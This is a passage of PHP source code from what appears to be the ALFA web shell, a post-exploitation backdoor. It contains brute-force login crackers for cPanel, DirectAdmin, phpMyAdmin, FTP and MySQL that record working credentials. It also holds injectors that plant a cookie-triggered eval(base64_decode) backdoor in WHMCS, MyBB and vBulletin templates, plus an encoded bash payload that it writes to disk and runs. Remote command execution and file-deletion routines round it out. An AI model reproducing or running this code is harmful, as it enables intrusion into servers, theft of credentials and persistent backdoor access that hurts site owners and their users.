if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
if(function_exists("iconv")){
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function alfaMarket(){
echo "";
}
function alfaSettings(){
alfahead();
AlfaNum(6,7,8,9,10);
echo '');
alfafooter();
}
function alfaaboutus(){
alfahead();
echo '');
alfafooter();
}
function alfacoldumper(){
alfahead();
echo('');
alfafooter();
}
function alfaDumper(){
alfahead();
echo('');
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "
Error: $curl_error ";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName:
'.$info['username'].' PassWord:
'.$info['password'].' Login Success.... ';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "
Error: $curl_error ";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName:
'.$info['username'].' PassWord:
'.$info['password'].' Login Success.... ';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "
Error: $curl_error ";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName:
'.$info['username'].' PassWord:
'.$info['password'].' Login Success.... ';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName:
'.$info['username'].' PassWord:
'.$info['password'].' Login Success.... ';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo '';
alfafooter();
}
function output($string){ echo "
Click Here ! ";}
function alfaShellInjectors(){
alfahead();
echo '
";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "Dear $newin,
Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.
To reset your password, please visit the url below:{\$pw_reset_url}
When you visit the link above, your password will be reset, and the new password will be emailed to you.
{\$signature}
{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "Please go to Target => ".$path."/pwreset.php And Reset Password With Email => solevisible@fbi.gov And Go To => ".$path."/solevisible.php ";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."
".getConfigHtml("mybb")."
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "
";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "Please Go To Target => ".$ff." And Go To => ".$fff." ";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'
'.getConfigHtml('vb').'
';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '
';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
if(substr($saveval, -5, 5) == "/core"){
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "First Open This Link => ".$ff." Second Open This Link => ".$fff."
";}}}
echo '';
alfafooter();
}
function alfacheckfiletype(){
$path = $_POST['path'];
$arg = $_POST['arg'];
if(@is_file($path.'/'.$arg)){
echo("file");
}else{
echo("dir");
}
}
function alfacheckupdate(){
if($GLOBALS["DB_NAME"]["cgi_api"]){
if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
_alfa_cgicmd("whoami","perl",true);
if(strlen(alfaEx("whoami",false,true))>0){
__alfa_set_cookie("alfa_canruncmd", "true");
}
}
}
if(function_exists("curl_version")){
$update = new AlfaCURL();
$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
$json = @json_decode($json,true);
$data = array();
if($json){
if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
if($json["type"] == "update"){
if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
@setcookie("alfa_checkupdate", "1", time()+86400);
$data["content"] = ''.$json["content"].'
';
}
}
}
if(isset($json["ads"]) && !empty($json["ads"])){
$data["content"] .= $json["ads"];
}
if(isset($json["copyright"]) && !empty($json["copyright"])){
$data["copyright"] = $json["copyright"];
}
if(isset($json["solevisible"]) && !empty($json["solevisible"])){
$data["solevisible"] = $json["solevisible"];
}
if(isset($json["code_name"]) && !empty($json["code_name"])){
$data["code_name"] = $json["code_name"];
$data["version_number"] = __ALFA_VERSION__;
}
if(isset($json["market"]) && !empty($json["market"])){
$data["market"] = $json["market"];
}
echo @json_encode($data);
}
}
}
function alfaWriteTocgiapi($name, $source){
$temp = "";
$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
if(in_array($name, $not_api)){
$temp = ALFA_TEMPDIR;
if($temp){
@chdir($temp);
}
}else{
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
}
@mkdir('alfacgiapi',0755);
__write_file("alfacgiapi/".$name, __get_resource($source));
@chmod("alfacgiapi/".$name, 0755);
return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
if(!isset($_COOKIE["updateheader_data"])){
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
if(@is_array(@json_decode($data,true))){
__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
}else{
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function alfassiShell(){
alfahead();
echo '';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo ''.__pre().$s.' ';
}
function create_table($data){
echo '';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo '';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "
";?>
= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return ''.$num.' >> '.$human.' ';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
return true;
}
if(strlen(alfaEx("whoami",false,$cgi))>0){
$_COOKIE["alfa_canruncmd"] = true;
return true;
}
return false;
}
function _alfa_symlink($target, $link){
$phpsym = function_exists("symlink");
if($phpsym){
@symlink($target, $link);
}else{
alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
}
}
function _alfa_file_exists($file,$cgi=true){
if(@file_exists($file)){
return true;
}else{
if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
return true;
}
}
return false;
}
function _alfa_file($file,$cgi=true){
$array = @file($file);
if(!$array){
if(strlen(alfaEx("id",false,$cgi))>0){
$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
if(strlen($data)>0){
return explode("\n", $data);
}else{
return false;
}
}else{
return false;
}
}else{
return $array;
}
}
function _alfa_is_writable($file){
$check = false;
$check = @is_writable($file);
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
$check = true;
}else{
$check = false;
}
}
}
return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
$check = false;
$check = @is_dir($dir);
if($mode == "-e"){
$check = @is_file($dir);
}
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
return true;
}else{
return false;
}
}
}
return $check;
}
function _alfa_load_ace_options($base){
return 'Theme: terminal ambiance chaos chrome clouds clouds_midnight cobalt crimson_editor dawn dracula dreamweaver eclipse github gob gruvbox idle_fingers iplastic katzenmilch kr_theme kuroir merbivore merbivore_soft mono_industrial monokai nord_dark pastel_on_dark solarized_dark solarized_light sqlserver textmate tomorrow tomorrow_night tomorrow_night_blue tomorrow_night_bright tomorrow_night_eighties twilight vibrant_ink xcode Language: php python perl c/c++ c# ruby html javascript css xml sql swift bash lua powershell jsp java json plain_text Soft Wrap: | Font Size: + | - | ';
}
function alfaFilesMan2(){
alfahead();
AlfaNum(8,9,10,7,6,5,4);
echo '
';
alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
$alfa_canruncmd = _alfa_can_runCommand(true,true);
$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
if(@move_uploaded_file($file['tmp_name'],$file['name'])){
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
$file_perm = alfaPermsColor($file['name']);
$file_size = @filesize($file['name']);
$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
}
}
}
if(!$move_cmd_file){
echo json_encode($ret_files);
}
}else{
echo "noperm";
return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
if(_alfa_can_runCommand(true,true)){
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
echo "";
}else{
echo "";
}
}else{
echo "";
}
}else{
echo "";
}
}else{
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
if(!@mkdir(trim($_POST['alfa2']))){
echo "";
}else{
echo "";
}
}else{
echo "";
}
}else{
echo "";
}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == "."))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
if(_alfa_can_runCommand(true,true)){
alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
$source = rawurldecode(@$_POST['alfa2']);
if($source!='..'&&!empty($source)){
if(_alfa_can_runCommand(true,true)){
alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
}
}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
